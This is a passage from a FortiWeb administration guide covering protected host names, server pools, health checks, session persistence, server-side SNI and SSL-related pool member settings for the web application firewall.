This setting is available only if [Action](#) (page 384) is set to **Period Block**. The valid range is from 1 to 3,600 (1 hour). The default value is 60. See also "[Monitoring currently blocked IPs](#)" on page 735.

Severity

When the session timeout settings or credential stuffing defense generates an attack log, each log message contains a **Severity Level** (`severity_level`) field. Select which severity level FortiWeb uses when it takes the specified action:

- Low
- Medium
- High

The default value is **Low**.

Trigger Policy

Available only when **Session Timeout Enforcement** (page 384) and/or **Credential Stuffing Defense** (page 384) is **On**.

Select which trigger, if any, that FortiWeb uses when it logs or sends an alert email about the session timeout or credential stuffing hit. See [Configuring triggers](#).

Available only when **Session Timeout Enforcement** (page 384) and/or **Credential Stuffing Defense** (page 384) is **On**.

When both **Session Timeout Enforcement** (page 384) and **Credential Stuffing Defense** (page 384) are enabled, violations of any of the two security events will trigger the same actions (they use a common set of configurations: Action, Block Period, Severity and Trigger Policy).

3. Click **OK**.
4. To add an entry to the Authentication Result Condition Table, click **Create New**, and then complete the following settings:

Authentication Result Type	Specify the status FortiWeb assigns to user logins that match this table item: Failed or Successful . FortiWeb tracks sessions by user only when the status is Successful . If the request does not match any rules in this table, FortiWeb uses the value specified by Default Authentication Result .
HTTP Match Target	Select the location of the value to match with the string or regular expression specified in this table item: Return Code , Response Body , Redirect URL .
Value Type	Indicate whether Value (page 386) is a Simple String or a Regular Expression .
Value	Enter the value to match.

5. Click **OK**, and then add any additional table entries that are required.
6. Create any additional rules that are required.
7. To add the rules to a policy, go to **Tracking > User Tracking**, select the **User Tracking Policy** tab, click **Create New**, enter a name for the policy, and then click **OK**.
8. Click **Create New**, select the user tracking rule to add, and then click **OK**.
9. Add any additional rules that are required, and then click **OK**.
10. To apply the user tracking rule, select it in an inline or Offline Protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Defining your web servers & load balancers

To apply policies correctly and log events accurately, it's important that FortiWeb is aware of certain other points on your network.

To scan traffic for your web servers, FortiWeb must know which IP addresses and HTTP `Host` : names to protect. If there are proxies and load balancers in the network stream between your client and your FortiWeb, you will also want to define them. Likewise, if your web servers have features that operate using the source IP address of a client, you may also need to configure FortiWeb to pass that information to your web servers.

Without these definitions, FortiWeb will not know many things, such as requests are for invalid host names, which source IP addresses are external load balancers instead of clients, and which headers it should use to transmit the client's original source IP address to your web servers. This can cause problems with logging, reports, other FortiWeb features, and server-side features that require the client's IP address.

Protected web servers vs. allowed/protected host names

If you have **virtual hosts** on your web server, multiple websites with different domain names (for example, example.com, example.co.uk, example.ru, example.edu) can coexist on the same physical computer with a single web server daemon. The computer can have a single IP address, with multiple DNS names resolving to its IP address, or the computer can have multiple IP addresses and multiple NICs, with different sets of domain names resolving to separate NICs.

Just as there can be multiple host names per web server, there can also be the inverse: multiple web servers per host name. (For example, for distributed computing clusters and server farms.)

When configuring FortiWeb, a web server is a single IP at the network layer, but a protected host group should contain **all** network IPs, virtual IPs, and domain names that clients use to access the web server at the HTTP layer.

For example, clients often access a web server via a public network such as the Internet. Therefore, the protected host group contains **public** domain names, IP addresses and virtual IPs on a network edge router or firewall, such as:

- www.example.com **and**
- www.example.co.uk **and**
- example.de

But the physical or domain server is only the IP address or domain name that the FortiWeb appliance uses to forward traffic to the server and, therefore, is often a **private** network address (**unless** the FortiWeb appliance is operating in Offline Protection or either of the transparent modes):

- 192.168.1.10 **or**
- example.local

Defining your protected/allowed HTTP “Host:” header names

A protected host group (also called “allowed hosts” or “protected host names”, depending on how the host name is used in each context) defines one or more IP addresses or fully qualified domain names (FQDNs). Each entry in the group defines a virtual or real web host, according to the `Host:` field in the HTTP header of requests. You can use these entries to determine which host names:

- FortiWeb allows in requests, and/or
- FortiWeb applies scans or other features to

For example, if your FortiWeb receives requests with HTTP headers, such as:

```
GET /index.php HTTP/1.1
```

```
Host: www.example.com
```

you might define a protected host group with an entry of `www.example.com` and select it in **Protected Hostnames** (page 281) in the policy. **This would block requests that are not for that host.**



A protected host names group is usually **not** the same as a back-end web server. For details, see ["Protected web servers vs. allowed/protected host names"](#) on page 387.

You use protected host names in a server policy to restrict requests to specific hostnames. If you want to specify specific hosts to apply a policy to, use the HTTP content routing feature. For details, see ["Routing based on HTTP content"](#) on page 408.

Used differently, you might select the `www.example.com` entry in **Host** when defining requests where the parameters should be validated. **This would apply protection only for that host.**

Unlike a web server, which is a single IP at the network layer, a protected host group should contain **all** network IPs, virtual IPs (VIP), and domain names that clients use to access the web server at the HTTP layer.

For example, clients often access a web server via a public network such as the Internet. Therefore, the protected host group contains **public** domain names, IP addresses and virtual IPs on a network edge router or firewall, such as:

- `www.example.com` **and**
- `www.example.co.uk` **and**
- `example.de`

But in Reverse Proxy mode, the physical or domain server is the IP address or domain name that the FortiWeb appliance uses to forward traffic to the back-end web server behind the NAT and, therefore, is often a **private** network address:

- `192.168.1.10` **or**
- `example.local`

As another example, for entry level or virtualized web hosting, many Apache virtual hosts:

- `business.example.cn`
- `university.example.cn`
- `province.example.cn`

may exist on one or more back-end web servers which each have one or more network adapters, each with one or more private network IP addresses that are hidden behind a Reverse Proxy FortiWeb:

- 172.16.1.5
- 172.16.1.6
- 172.16.1.7

The virtual hosts would be added to the list of FortiWeb's protected host names, while the network adapters' IP addresses would be added to the list of physical servers.

To configure a protected host group

1. Go to **Server Objects > Protected Hostnames**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

4. From the **Default Action** drop-down menu, select whether to **Accept** or **Deny** HTTP requests that **do not match** any of the host definitions in this protected host group. In [Step 8](#), you can override this default for specific hosts.

For example, let's say that you have 10 web hosts protected by FortiWeb. You want to allow 8 and block 2. To do this, first set **Default Action** to **Accept**. Then in [Step 8](#), you will create 2 entries for the host names that you want to block, and in their **Action**, select **Deny**.

5. Click **OK**.

6. To treat one or more hosts differently than indicated in **Default Action**, click **Create New**.

7. For **Host**, enter the IP address or FQDN of a real or virtual host, according to the `Host:` field in HTTP requests.

If clients connect to your web servers through the IP address of a virtual server on the FortiWeb appliance, this should be the IP address of that **virtual server** or any domain name to which it resolves, **not** the IP address of the protected web server.

For example, if a virtual server 10.0.2.1/24 forwards traffic to the physical server 192.0.2.1, for protected host names, you would enter:

- 10.0.2.1, the address of the virtual server
- www.example.com, the domain name that resolves to the virtual server

Your entry must match the whole host name exactly. Wild cards such as *.example.com are not supported. If you require wild card host name matches, use HTTP `Host:` header access control rules instead. For details, see ["Combination access control & rate limiting"](#) on page 480.

8. For **Action**, select whether to **Accept** or **Deny** HTTP requests whose `Host:` field matches this **Host** entry.

9. Click **OK**.

10. Repeat the previous steps for each host that you want to add to the protected host group.

11. To apply a protected host group, select it in a server policy (see ["Configuring a server policy"](#) on page 277). Policies use protected host definitions to block connections that are not destined for a protected host. If you do not select a protected host group in a server policy, and you do not configure a combination access control rule with an HTTP `Host:` condition either, FortiWeb accepts or blocks connections regardless of the `Host:` field.

See also

- ["IPv6 support"](#) on page 60
- ["HTTP pipelining"](#) on page 289

Defining your web servers

To specify your back-end web servers, you must define a server pool. Pools contain one or more members that you specify using either their IP addresses or DNS domain names. FortiWeb protects these web servers and they are the recipients of traffic that is forwarded or allowed to pass through to by FortiWeb.



You can also define web servers to be FortiWeb's virtual servers. This chains multiple policies together, which may be useful in more complex traffic routing or rewriting situations.

See also

- ["Enabling or disabling traffic forwarding to your servers"](#) on page 429
- ["HTTP pipelining"](#) on page 289
- ["Predefined services"](#) on page 428
- ["Defining your network services"](#) on page 427
- ["Configuring a server policy"](#) on page 277

Configuring server up/down checks

Tests for server availability (called "server health checks" in the web UI) poll web servers that are members of a server pool to determine their responsiveness before forwarding traffic. FortiWeb can check server health using the following methods:

- TCP
- ICMP `ECHO_REQUEST` (ping)
- TCP Half Open
- TCP SSL
- HTTP
- HTTPS

FortiWeb polls the server at the frequency set in the [Interval](#) (page 393) option. If the appliance does not receive a reply within the timeout period, and you have configured the health check to retry, it attempts a health check again; otherwise, the server is deemed unresponsive. The FortiWeb appliance reacts to unresponsive servers by disabling traffic to that server until it becomes responsive.

If all members of the pool are unresponsive and you have configured one or more members to be backup servers, FortiWeb sends traffic to a backup server.



If a web server will be unavailable for a long period, such as when a server is undergoing hardware repair, it is experiencing extended down time, or when you have removed a server from the server pool, you may improve the performance of your FortiWeb appliance by disabling connectivity to the web server, rather than allowing the server health check to continue to check for responsiveness. For details, see ["Enabling or disabling traffic forwarding to your servers"](#) on page 429.

You can create a health check, use one of the predefined health checks, or clone one of the predefined health checks to use as a starting point for a custom health check. You cannot modify the predefined health checks.

To simplify health check creation, FortiWeb provides predefined health checks for each of the available protocols. Each predefined health check contains a single rule that specifies one of the available protocols. For example, instead of creating a health check that uses ICMP, you can apply HLTHCK_ICMP.

HLTHCK_HTTP and HLTHCK_HTTPS health checks test server responsiveness using the HEAD method and listening for the response code 200.

Your health check can use more than protocol to check server responsiveness. You can specify that a server is available if it passes a single test in the list of tests or only if it passes all the tests.

To view the status currently detected by server health checks, use the Policy Status dashboard. For details, see ["Policy Status dashboard"](#) on page 688.

To configure a server health check

1. Before configuring a server health check, if it requires a trigger, configure the trigger. For details, see ["Viewing log messages"](#) on page 706.

2. Go to **Server Objects > Server > Health Check**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Do one of the following:

- To create a health check, click **Create New**.
- To create a health check based on a predefined health check, select a predefined health check, click **Clone**, and then enter a name for the new health check.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters. Note: The name cannot be changed after this part of the configuration is saved. To rename a part of the configuration, clone it, select it in all parts of the configuration that reference the old name, then delete the item with the old name.

Relationship	• And—FortiWeb considers the server to be responsive when it passes all the tests in the list. • Or—FortiWeb considers the server to be responsive when it passes at least one of the tests in the list.
Trigger Policy	Select the name of a trigger, if any, that will be used to log or notify an administrator if a server becomes unresponsive.

5. Click **OK**.
6. In the rule list, do one of the following:
 - To add a rule, click **Create New**.
 - To modify a rule, select it and click **Edit**.
7. Configure these settings:

Type	Select the protocol that the server health check uses to contact the server. • ICMP—Send ICMP type 8 (<code>ECHO_REQUEST</code> or “ping”) and listen for either ICMP type 0 (<code>ECHO_RESPONSE</code> or “pong”) indicating responsiveness, or timeout indicating that the host is not responsive. • TCP—Send TCP <code>SYN</code> and listen for either TCP <code>SYN ACK</code> indicating responsiveness, or timeout indicating that the host is not responsive. If the response is <code>SYN ACK</code>, send TCP <code>ACK</code> to complete the three-way handshake. • TCP Half Open—Send TCP <code>SYN</code> and listen for either TCP <code>SYN ACK</code> indicating responsiveness, or timeout indicating that the host is not responsive. If the response is <code>SYN ACK</code>, send TCP <code>RST</code> to terminate the connection. This type of health check requires fewer resources from the pool member than TCP. • TCP SSL—Send an HTTPS request. FortiWeb considers the host to be responsive if the SSL handshake is successful, and closes the connection once the handshake is complete. This type of health check requires fewer resources than HTTP/HTTPS. • HTTP/HTTPS—Send an HTTP or HTTPS request, and listen for a response that matches the values required by the specified Matched Content or a timeout that indicates that the host is not responsive. The protocol to use depends on whether you enable SSL for that server in the server pool. Contact occurs on the protocol and port number specified for that web server in the server pool.
URL Path	Type the URL that the HTTP or HTTPS request uses to verify the responsiveness of the server (for example, <code>/index.html</code>). If the web server successfully returns this URL, and its content matches your expression in Matched Content (page 393), it is considered to be responsive.

	Available only if Type (page 392) is HTTP or HTTPS . The maximum length is 127 characters.
Timeout	Type the maximum number of seconds that can pass after the server health check. If the web server exceeds this limit, it will indicate a failed health check. Valid values are 1 to 30. Default value is 3.
Retry Times	Type the number of times, if any, that FortiWeb retries a server health check after failure. If the web server fails the server health check this number of times consecutively, it is considered to be unresponsive. Valid values are 1 to 10. Default value is 3.
Interval	Type the number of seconds between each server health check. Valid values are 1 to 300. Default value is 10.
Method	Specify whether the health check uses the HEAD, GET, or POST method. Available only if Type (page 392) is HTTP or HTTPS.
Host	To test the availability of a specific host, enter an HTTP host header name. This is useful if the pool member hosts multiple websites (virtual hosting environment). Available only if Type (page 392) is HTTP or HTTPS.
Match Type	• Matched Content—If the web server successfully returns the URL specified by URL Path (page 392) and its content matches the Matched Content (page 393) value, FortiWeb considers the server to be responsive. • Response Code—If the web server successfully returns the URL specified by URL Path (page 392) and the code specified by Response Code (page 394), FortiWeb considers the server to be responsive. • All — If the web server successfully returns the URL specified by URL Path (page 392) and its content matches the Matched Content (page 393) value, and the code specified by Response Code (page 394), FortiWeb considers the server to be responsive. Available only if Type (page 392) is HTTP or HTTPS.
Matched Content	Enter one of the following values: • The exact reply that indicates that the server is available. • A regular expression that matches the required reply. This value prevents the test from falsely indicating that the server is available when it has actually replied with an error page, such as the one produced by Tomcat when a JSP application is not available.

To create and test a regular expression, click the >> (test) icon. This opens a **Regular Expression Validator** window where you can fine-tune the expression. For details, see ["Regular expression syntax"](#) on page 829

Available only if **Type** (page 392) is **HTTP** or **HTTPS** and **Match Type** (page 393) is **All** or **Matched Content** (page 393).

Response Code

Enter the response code that you require the server to return to confirm that it is available.

Available only if **Type** (page 392) is **HTTP** or **HTTPS** and **Match Type** (page 393) is **All** or **Matched Content**.

8. Click **OK** to save the settings and close the rule.
9. Add any additional tests you want to include in the health check by adding additional rules.
10. Click **OK** to save and close the health check.
11. To use the server health check, select it in a server pool or server pool member configuration. For details, see ["Creating a server pool"](#) on page 397.

See also

- ["IPv6 support"](#) on page 60
- ["Configuring a server policy"](#) on page 277
- ["Creating a server pool"](#) on page 397

Configuring session persistence

After FortiWeb has forwarded the first packet from a client to a pool member, some protocols require that subsequent packets also be forwarded to the same back-end server until a period of time passes or the client indicates that it has finished transmission.

A session persistence configuration specifies a persistence method and timeout. You apply the configuration to **Server Balance** server pools to apply the persistence setting to all members of the pool.

To create a persistence configuration

1. Go to **Server Objects > Server > Persistence** and click **Create New**.
2. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Type	Specifies how FortiWeb determines the pool member to forward subsequent requests from a client to after its initial request. For the initial request, FortiWeb selects a pool member using the load balancing method specified in the server pool configuration.

- **Source IP**—Forwards subsequent requests with the same client IP address and subnet as the initial request to the same pool member. To define how FortiWeb derives the appropriate subnet from the IP address, configure **IPv4 Netmask** (page 396) and **IPv6 Mask Length** (page 396).
- **HTTP Header**—Forwards subsequent requests with the same value for an HTTP header as the initial request to the same pool member. Also configure **Header Name** (page 396).
- **URL parameter**—Forwards subsequent requests with the same value for a URL parameter as the initial request to the same pool member. Also configure **Parameter Name** (page 396).
- **Insert Cookie**—FortiWeb adds a cookie with the name specified by **Cookie Name** (page 396) to the initial request and forwards all subsequent requests with this cookie to the same pool member. FortiWeb uses this cookie for persistence only and does not forward it to the pool member. Also configure **Cookie Path** (page 396) and **Cookie Domain** (page 396).
- **Rewrite Cookie**—If the HTTP response has a `Set-Cookie:` value that matches the value specified by **Cookie Name** (page 396), FortiWeb replaces the value specified by the keyword with a randomly generated cookie value. FortiWeb forwards all subsequent requests with this generated cookie value to the same pool member.
- **Persistent Cookie**—If an initial request contains a cookie with a name that matches the **Cookie Name** (page 396) value, FortiWeb forwards subsequent requests that contain the same cookie value to the same pool member as the initial request.
- **Embedded Cookie**—If the HTTP response contains a cookie with a name that matches the **Cookie Name** (page 396) value, FortiWeb preserves the original cookie value and adds a randomly generated cookie value and a ~ (tilde) as a prefix. FortiWeb forwards all subsequent requests with this cookie and prefix to the same pool member.
- **ASP Session ID**—If a cookie in the initial request contains an ASP .NET session ID value, FortiWeb forwards subsequent requests with the same session ID value to the same pool member as the initial request. FortiWeb preserves the original cookie name.
- **PHP Session ID**—If a cookie in the initial request contains a PHP session ID value, FortiWeb forwards subsequent requests with the same session ID value to the same pool member as the initial request. FortiWeb preserves the original cookie name.
- **JSP Session ID**—FortiWeb forwards subsequent requests with the same JSP session ID as the initial request to the same pool member. FortiWeb preserves the original cookie name.
- **SSL Session ID**—If a cookie in the initial request contains an SSL session ID value, FortiWeb forwards subsequent requests with the same session ID value to the same pool member as the initial request. FortiWeb preserves the original cookie name.

IPv4 Netmask	Specifies the IPv4 subnet used for session persistence. For example, if IPv4 Netmask is 255 . 255 . 255 . 255, FortiWeb can forward requests from IP addresses 192.168.1.1 and 192.168.1.2 to different server pool members. If IPv4 Netmask is 255 . 255 . 255 . 0, FortiWeb forwards requests from IP addresses 192.168.1.1 and 192.168.1.2 to the same pool member. Available only when Type (page 394) is Source IP.
IPv6 Mask Length	Specifies the IPv6 network prefix used for session persistence. Available only when Type (page 394) is Source IP.
Header Name	Specifies the name of the HTTP header that the persistence feature uses to route requests. Available only when Type (page 394) is HTTP Header.
Parameter Name	Specifies the name of the URL parameter that the persistence feature uses to route requests. Available only when Type (page 394) is URL Parameter.
Cookie Name	Specifies a value to match or the name of the cookie that FortiWeb inserts. Available only when Type (page 394) uses a cookie.
Cookie Path	Specifies a path attribute for the cookie that FortiWeb inserts, if Type (page 394) is Insert Cookie.
Cookie Domain	Specifies a domain attribute for the cookie that FortiWeb inserts, if Type (page 394) is Insert Cookie.
Timeout	Specifies the maximum amount of time between requests that FortiWeb maintains persistence, in seconds. FortiWeb stops forwarding requests according to the established persistence after this amount of time has elapsed since it last received a request from the client with the associated property (for example, an IP address or cookie). Instead, it again selects a pool member using the load balancing method specified in the server pool configuration.

3. Click **OK**.

For details about applying the configuration to a pool, see "[Creating a server pool](#)" on page 397.

<http://docs.fortinet.com/fortiweb/reference>

Configuring server-side SNI support

FortiWeb supports server-side SNI (Server Name Indication). You use this feature when you have the following configuration requirements:

- The operating mode is Reverse Proxy or True Transparent Proxy.
- You offload SSL/TLS processing to FortiWeb and use SSL/TLS for connections between FortiWeb and the pool member (end-to-end encryption).
- One or more server pool members require SNI support.

In True Transparent Proxy mode, use the following CLI command to enable server-side SNI for the appropriate pool member:

```
config server-policy server-pool
  edit <server-pool_name>
    config pserver-list
      edit <entry_index>
        set server-side-sni {enable | disable}
```

In Reverse Proxy mode, use the following CLI command to enable server-side SNI in the appropriate server policy:

```
config server-policy policy
  edit <policy_name>
    set server-side-sni {enable | disable}
```

You cannot use the web UI to enable this option. For details, see the *FortiWeb CLI Reference*.

Creating a server pool

Server pools define a group of one or more physical or domain servers (web servers) that FortiWeb distributes connections among, or where the connections pass through to, depending on the operating mode. (Reverse Proxy mode actively distributes connections; Offline Protection mode, both transparent modes, and WCCP mode do not.)

- **Reverse Proxy mode**—When the FortiWeb appliance receives traffic destined for a virtual server, it forwards the traffic to a server pool. If the pool has more than one member, the physical or domain server that receives the connection depends on your configuration of load-balancing algorithm, weight, and server health checking.

For pools with multiple members, to prevent traffic from being forwarded to unavailable web servers, you can use a health check to verify the availability of members. The availability of other members and the **Deployment Mode** (page 278) option in the policy determine whether the FortiWeb appliance redistributes or drops the connection when a physical or domain server in a server pool is unavailable.

- **Offline Protection, True Transparent Proxy, Transparent Inspection, and WCCP mode**—The FortiWeb appliance allows traffic to pass through to the server pool when it receives traffic that is:
 - passing through a bridge
 - directed to the FortiWeb (configured as a WCCP client) by a FortiGate acting as a WCCP server

A server can belong to more than one server pool.

To configure a server pool

1. Before you configure a server pool, do the following:

- If clients connect via HTTPS and FortiWeb is operating in a mode that performs SSL inspection instead of SSL offloading, upload the website's server certificate. For details, see ["Uploading a server certificate"](#) on page 446.
- If you want to use the pool for load balancing and want to monitor its members for responsiveness, configure one or more server health checks to use with it. For details, see ["Configuring server up/down checks"](#) on page 390.
- If client connections require persistent sessions, create a persistence configuration. For details, see ["Configuring session persistence"](#) on page 394.

2. Go to **Server Objects > Server > Server Pool**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Type	Select the current operation mode of the appliance to display the corresponding pool options. For full information on the operating modes, see "How to choose the operation mode" on page 101.
Single Server/Server Balance	• Single Server—Specifies a pool that contains a single member. • Server Balance—Specifies a pool that contains multiple members. FortiWeb uses the specified load-balancing algorithm to distribute TCP connections among the members. If a member is unresponsive to the specified server health check, FortiWeb forwards subsequent connections to another member of the pool. Available only when Type (page 398) is Reverse Proxy.
Server Health Check	Specifies a test for server availability. By default, this health check is used for all pool members, but you can use the pool member configuration to assign a different health check to a member. For details, see "Configuring server up/down checks" on page 390. Available only when Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
Load Balancing Algorithm	• Round Robin—Distributes new TCP connections to the next pool member, regardless of weight, response time, traffic load, or number of existing connections. FortiWeb avoids unresponsive servers. • Weighted Round Robin—Distributes new TCP connections using the round-robin method, except that members with a higher weight value receive a larger percentage of connections. • Least Connection—Distributes new TCP connections to the member

	with the fewest number of existing, fully-formed TCP connections. • URI Hash—Distributes new TCP connections using a hash algorithm based on the URI found in the HTTP header, excluding hostname. • Full URI Hash—Distributes new TCP connections using a hash algorithm based on the full URI string found in the HTTP header. The full URI string includes the hostname and path. • Host Hash—Distributes new TCP connections using a hash algorithm based on the hostname in the HTTP Request header Host field. • Host Domain Hash—Distributes new TCP connections using a hash algorithm based on the domain name in the HTTP Request header Host field. • Source IP Hash—Distributes new TCP connections using a hash algorithm based on the source IP address of the request. When the status of a physical server in a server pool is disabled, a health check indicates it is down, or it is removed from the server pool, FortiWeb will transfer any remaining HTTP transactions in the TCP stream to an active physical server in the server pool according to the Load Balancing Algorithm. For hash-based methods, if you specify a persistence method for the server pool, after an initial client request, FortiWeb routes any subsequent requests according to the persistence method. Otherwise, it routes subsequent requests according to the hash-based algorithm. Available only when Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
Persistence	Select a configuration that specifies a session persistence method and timeout to apply to the pool members. For details, see "Configuring session persistence" on page 394. Available only when Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
Comments	Type a description of the server pool. The maximum length is 199 characters.

5. Click **OK**.
6. Click **Create New**.
7. Configure these settings:

ID	The index number of the member entry within the server pool. FortiWeb automatically assigns the next available index number. For round robin-style load-balancing, the index number indicates the order in which FortiWeb distributes connections. The valid range is from 0 to 9223372036854775807 (the maximum

	possible value for a long integer). You can use the <code>server-policy server-pool</code> CLI command to change the index number value. For details, see the <i>FortiWeb CLI Reference</i>: http://docs.fortinet.com/fortiweb/reference
Status	• Enable—Specifies that this pool member can receive new sessions from FortiWeb. • Disable—Specifies that this pool member does not receive new sessions from FortiWeb and FortiWeb closes any current sessions as soon as possible. • Maintenance—Specifies that this pool member does not receive new sessions from FortiWeb but FortiWeb maintains any current connections.
Server Type	Select either IP or Domain to indicate how you want to define the pool member.
IP or Domain	Specify the IP address or fully-qualified domain name of the web server to include in the pool. For domain servers, FortiWeb queries a DNS server to query and resolve each web server's domain name to an IP address. For improved performance, do one of the following: • Use physical servers instead • Ensure highly reliable, low-latency service to a DNS server on your local network Tip: The IP or domain server is usually not the same as a protected host names group. See "Protected web servers vs. allowed/protected host names" on page 387. Warning: Server policies do not apply features that do not yet support IPv6 to servers specified using IPv6 addresses or domain servers whose DNS names resolve to IPv6 addresses. The Server Type (page 400) value determines the name of this option.
Connection Limit	Specifies the maximum number of TCP connections that FortiWeb forwards to this pool member. The default is 0 (disabled). The valid range is from 0 to 1,048,576. Available only if the Type (page 398) is Reverse Proxy.
Port	Type the TCP port number where the pool member listens for connections. The valid range is from 1 to 65,535.

Weight	If the pool member is part of a pool that uses the weighted round-robin load-balancing algorithm, type the weight of the member when FortiWeb distributes TCP connections. Members with a greater weight receive a greater proportion of connections. Weighting members can be useful when, for example, some servers in the pool are more powerful or if a member is already receiving fewer or more connections due to its role in multiple websites. Available only if the Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
Inherit Health Check	Clear to use the health check specified by Server Health Check in this server pool rule instead of the one specified in the server pool configuration. Available only if the Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
Server Health Check	Specifies an availability test for this pool member. For details, see "Configuring server up/down checks" on page 390. Available only if the Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
Backup Server	When this option is selected and all the members of the server pool fail their server health check, FortiWeb routes any connections for the pool to this server. The backup server mechanism does not work if you do not specify server health checks for the pool members. If you select this option for more than one pool member, FortiWeb uses the load balancing algorithm to determine which member to use. Available only if the Type (page 398) is Reverse Proxy and Single Server/Server Balance (page 398) is Server Balance.
HTTP/2	Enable to allow HTTP/2 communication between the FortiWeb and this back-end web server. When FortiWeb's security services are applied to the HTTP/2 traffic between clients and this web server in Reverse Proxy mode: • Enabling this option makes sure the traffic is transferred in HTTP/2 between FortiWeb and this web server, if this web server supports HTTP/2. Note: Make sure that this back web server really supports HTTP/2 before you enable this, or connections will go failed.

- **Disabling** this option makes FortiWeb to converse HTTP/2 to HTTP/1.x for this web server, or converse HTTP/1.x to HTTP/2 for the clients, if this web server does not support HTTP/2.

In **True Transparent Proxy** mode, it requires this option be enabled and the **SSL** (page 402) be well-configured to enable FortiWeb's HTTP/2 inspection. When HTTP/2 inspection is enabled in True Transparent Proxy mode, FortiWeb performs **no** protocol conversions between HTTP/1.x and HTTP/2, which means HTTP/2 connections will not be established between clients and back-end web servers if the web servers do not support HTTP/2. For details, see "[HTTP/2 support](#)" on page 69.

Note: Please confirm the operation mode and HTTP versions your back-end web servers are running so that HTTP/2 inspection can work correctly with your web servers. Available only if the **Type** (page 398) is **Reverse Proxy**.

SSL

For Reverse Proxy, Offline Protection, and Transparent Inspection modes, specifies whether connections between FortiWeb and the pool member use SSL/TLS.

For True Transparent Proxy and WCCP modes, specifies whether SSL/TLS processing is offloaded to FortiWeb and SSL/TLS is used for connections between FortiWeb and the pool member:

For True Transparent Proxy mode, if the pool member requires SNI support, see "[Configuring server-side SNI support](#)" on page 397.

For Offline Protection and Transparent Inspection mode, also configure **Certificate File** (page 403). FortiWeb uses the certificate to decrypt and scan connections before passing the encrypted traffic through to the pool members (SSL inspection).

Note: Ephemeral (temporary key) Diffie-Hellman exchanges are not supported if the FortiWeb appliance is operating in Transparent Inspection or Offline Protection mode.

For True Transparent Proxy and WCCP mode, also configure **Certificate File** (page 403), **Client Certificate** (page 403), and the settings described in [Step](#) on page 390. FortiWeb handles SSL negotiations and encryption and decryption instead of the pool member (SSL offloading).

For Reverse Proxy mode:

- You can configure SSL offloading for all members of a pool using a server policy. For details, see "[Configuring a server policy](#)" on page 277.
- If the pool member requires SNI support, see "[Configuring server-side SNI support](#)" on page 397.

Note: When this option is enabled, the pool member **must** be

configured to apply SSL.

Note: This option and related settings are required to be well-configured for enabling FortiWeb's HTTP/2 support in True Transparent Proxy mode.

Certificate File

Select the server certificate that FortiWeb uses to decrypt SSL-secured connections.

For True Transparent Proxy and WCCP modes, also complete the settings described in [Step](#) on page 390.

Available when:

- **SSL** (page 402) is enabled, and
- FortiWeb is operating in a mode **other than** Reverse Proxy that performs SSL inspection. See ["Offloading vs. inspection"](#) on page 430.

Certificate Intermediate Group

Select the name of a group of intermediate certificate authority (CA) certificates, if any, that FortiWeb presents to clients. An intermediate CA can complete the signing chain and validate the server certificate's CA signature.

Configure this option when clients receive certificate warnings that an intermediary CA has signed the server certificate specified by **Certificate File** (page 403), not a root CA or other CA currently trusted by the client directly.

Alternatively, you can include the entire signing chain in the server certificate itself before you upload it to FortiWeb. For details, see ["Uploading a server certificate"](#) on page 446 and ["Supplementing a server certificate with its signing chain"](#) on page 448.

. Available only if the **Type** (page 398) is **True Transparent Proxy** or **WCCP** and **SSL** (page 402) is enabled.

Client Certificate

If connections to this pool member require a valid client certificate, select the client certificate that FortiWeb uses.

Available when:

- **SSL** (page 402) is enabled, and
- FortiWeb is operating in Reverse Proxy, True Transparent Proxy, or WCCP mode.

Upload a client certificate for FortiWeb using the steps you use to upload a server certificate. For details, see ["Uploading a server certificate"](#) on page 446.

Client Certificate Proxy

Enable to configure seamless PKI integration. When this option is configured, FortiWeb attempts to verify client certificates when users make requests and resigns new certificates that it sends to the server.

Also configure **Client Certificate Proxy Sign CA** (page 404).

	For details, see "Seamless PKI integration" on page 467.
Client Certificate Proxy Sign CA	Select a Sign CA FortiWeb will use to verify and resign new client certificates. For details, see "Seamless PKI integration" on page 467.
Add HSTS Header	Enable to combat MITM attacks on HTTP by injecting the RFC 6797 (http://tools.ietf.org/html/rfc6797) strict transport security header into the reply, such as: <pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> This header forces clients to use HTTPS for subsequent visits to this domain. If the certificate is invalid, the client's web browser receives a fatal connection error and does not display a dialog that allows the user to override the certificate mismatch error and continue. Available only when the Type (page 398) is True Transparent Proxy or WCCP and SSL is enabled.
Add HPKP Header	Select an HPKP profile, if any, to use to verify certificates when clients attempt to access a server. HPKP prevents attackers from carrying out <i>Man in the Middle</i> (MITM) attacks with forged certificates. For details, see "HTTP Public Key Pinning" on page 452. Available only if SSL (page 402) is enabled.
